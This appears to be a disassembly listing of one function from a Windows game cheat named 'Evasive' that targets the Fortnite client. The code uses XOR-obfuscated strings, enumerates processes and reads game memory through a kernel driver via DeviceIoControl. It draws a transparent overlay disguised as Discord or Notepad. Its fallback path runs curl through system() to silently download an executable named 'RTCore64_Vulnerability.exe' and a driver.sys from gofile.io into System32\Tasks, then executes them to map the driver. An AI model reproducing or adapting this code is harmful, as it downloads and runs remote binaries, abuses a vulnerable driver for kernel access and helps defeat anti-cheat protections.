Function at 0x140043080
Capabilities:
Encode data using xor
Enumerate processes
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x158]
sub rsp, 0x250
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x1401a9600]
xor rax, rsp
mov qword [rbp + 0x120], rax
movzx edi, byte [0x140231b91]
movzx esi, byte [0x140231b93]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x60], rax
lea rdx, [0x140231d00]
lea rcx, [rbp - 0x68]
call fcn.14003a680
mov rbx, rax
lea rdx, [0x140231d90]
lea rcx, [rsp + 0x70]
call fcn.14003a680
nop
mov byte [rsp + 0x30], dil
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], sil
mov r9b, 1
mov r8, rbx
mov rdx, rax
lea rcx, [0x140231b92]
call fcn.14009c020
lea rcx, [0x140231dd0]
call fcn.1400c9d50
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
movdqa xmm1, xmmword [0x140172ff0]
movdqu xmmword [rbp - 0x58], xmm1
mov byte [rbp - 0x68], 0
movups xmm3, xmmword [0x140172d60]
movups xmmword [rsp + 0x70], xmm3
movzx eax, word [0x140172d70]
mov word [rbp - 0x80], ax
xor ebx, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
movdqa xmm7, xmmword [0x1401730c0]
cmp byte [0x140172d71], bl
je 0x140043362
mov r8d, ebx
cmp edi, 2
jl 0x14004331a
movdqa xmm4, xmmword [0x140173510]
movdqa xmm5, xmmword [str.6666]
movdqa xmm6, xmmword [0x140173100]
movdqa xmm2, xmmword [0x140173070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
movd eax, xmm3
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
movdqa xmm2, xmmword [0x140173080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
movd xmm0, dword [rsp + 0x74]
xorps xmm2, xmm0
movd dword [rsp + 0x74], xmm2
movdqa xmm3, xmmword [0x140173090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm6
movd xmm0, dword [rsp + 0x78]
xorps xmm3, xmm0
movd dword [rsp + 0x78], xmm3
movdqa xmm2, xmmword [0x1401730a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
movd xmm0, dword [rsp + 0x7c]
xorps xmm2, xmm0
movd dword [rsp + 0x7c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140043330
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045580
lea rdx, [rbp - 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140045a50
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x70]
call fcn.14003a680
mov rdx, rax
lea rcx, [0x140231dd0]
call fcn.1400cbda0
cmp qword [0x140232018], rbx
jne 0x1400433b5
mov ecx, listen
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x140232000], bl
jne 0x140043431
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x60]
call fcn.140043c60
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x140043403
xor byte [rax], 0x36
xor byte [rax + 1], 0x37
xor byte [rax + 2], 0x38
xor byte [rax + 3], 0x39
xor byte [rax + 4], 0x3a
xor byte [rax + 5], 0x3b
xor byte [rax + 6], 0x3c
xor byte [rax + 7], 0x3d
xor byte [rax + 8], 0x3e
xor byte [rax + 9], 0x3f
xor dl, 0x40
mov byte [rax + 0xa], dl
mov rdx, rax
call fcn.140045580
mov rcx, rax
lea rdx, [0x140232008]
call fcn.140045c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 3
lea rcx, str..NetBIOS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140231ba8], rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14004389b
mov r9d, 0x40
lea r8, str.evasive
lea rdx, str.press_OK_in_lobby_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp - 0x10], pe_nt_image_headers64
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400434df
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x1c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rdi
test eax, eax
je 0x140043850
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400434b5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov dword [0x140231bb0], eax
mov qword [rbp - 0x70], rbx
mov dword [rbp - 0x38], 0x3e7a1c4
mov dword [rbp - 0x34], eax
lea rax, [rbp - 0x70]
mov qword [rbp - 0x30], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x38]
mov edx, 0x231990
mov rcx, qword [0x140231ba8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp - 0x70]
mov qword [0x140231bb8], rax
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x74], ebx
mov eax, dword [0x140231bb0]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x70]
mov edx, 0x231998
mov rcx, qword [0x140231ba8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rsp + 0x60]
mov qword [0x140231c18], rax
mov esi, ebx
mov r14d, ebx
nop
movsxd rcx, r14d
add rcx, qword [0x140231bb8]
mov qword [0x140231ba0], rcx
add rcx, 0x1221b738
call fcn.140044d20
mov rdi, rax
lea rcx, [rax + 0x30]
call fcn.140044d20
test rdi, rdi
je 0x1400435e4
test rax, rax
je 0x1400435e4
lea rcx, [rax + 0xc0]
call fcn.140044d20
cmp rax, rdi
je 0x1400435f5
inc esi
add r14d, 0x1000
cmp esi, 0x7fffffff
jl 0x1400435a0
lea rdx, str.CR3___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045580
mov rdx, qword [0x140231c18]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x140045760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._nVAText___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045580
mov rdx, qword [0x140231ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_long___int64_____ptr64]
lea rdx, [0x140045760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._nBase_Address___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045580
mov rdx, qword [0x140231bb8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x140045760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._nCheat_Loaded._nThank_you_for_choosing_Evasive_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045580
mov qword [rbp - 0x10], 0x50
mov rax, qword [sym.imp.USER32.dll_DefWindowProcA]
mov qword [rbp - 8], rax
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x10], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp + 0x18], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
lea rdi, str.Discord
mov qword [rbp + 0x30], rdi
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x38], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp + 8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, str.Notepad
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x140231c08], rax
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongA]
movdqa xmm0, xmmword [0x140172fb0]
movdqu xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
mov rcx, qword [0x140231c08]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 5
mov rcx, qword [0x140231c08]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, qword [0x140231c08]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x140231c08]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [0x140231c08]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.14003b4e0
call fcn.1400424c0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140043863
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004385e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004385e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 8]
jmp 0x1400434ea
call fcn.140123c04
xor eax, eax
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140123840
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.ERROR:_Driver_not_found__cheat_cannot_perform_without_._Closing_in_5_seconds.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045580
lea rdx, [0x140045760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.INITIALIZING:_Loading_Now.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140045580
lea rdx, [0x140045760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.curl___silent_https:__store8.gofile.io_download_direct_5493875d_483e_4ef5_b5cd_0f1829c24dda_RTCore64_Vulnerability.exe___output_C:WindowsSystem32Tasksmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__store3.gofile.io_download_direct_4e6c7805_ee34_48d5_b596_fcb81199aa5d_driver.sys___output_C:WindowsSystem32Tasksdriver.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Tasksdriver.sys_.data
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x10]
call fcn.140043c90
mov r10, rax
cmp byte [rax + 0x98], bl
je 0x140043aa5
mov r8d, ebx
cmp edi, 2
jl 0x140043a5d
movdqa xmm5, xmmword [0x140173070]
movdqa xmm4, xmmword [0x140173510]
movdqa xmm6, xmmword [str.6666]
movdqa xmm0, xmmword [0x140173100]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140043970
cmp r8d, 0x99
jge 0x140043aa5
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140043a70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.cd_C:WindowsSystem32__Winlogon1___NUL_2_1
lea rcx, [rbp - 0x38]
call fcn.140037fc0
lea rcx, [rbp - 0x38]
call fcn.140044270
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x68]
call fcn.140043d20
mov r9, rax
cmp byte [rax + 0x2a], bl
je 0x140043c3e
cmp edi, 2
jl 0x140043c02
movdqa xmm5, xmmword [0x140173070]
movdqa xmm4, xmmword [0x140173510]
movdqa xmm6, xmmword [str.6666]
movdqa xmm0, xmmword [0x140173100]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x140043b20
cmp ebx, 0x2b
jge 0x140043c3e
movsxd r8, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x36
add dl, bl
xor byte [r8], dl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2b
jl 0x140043c10
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3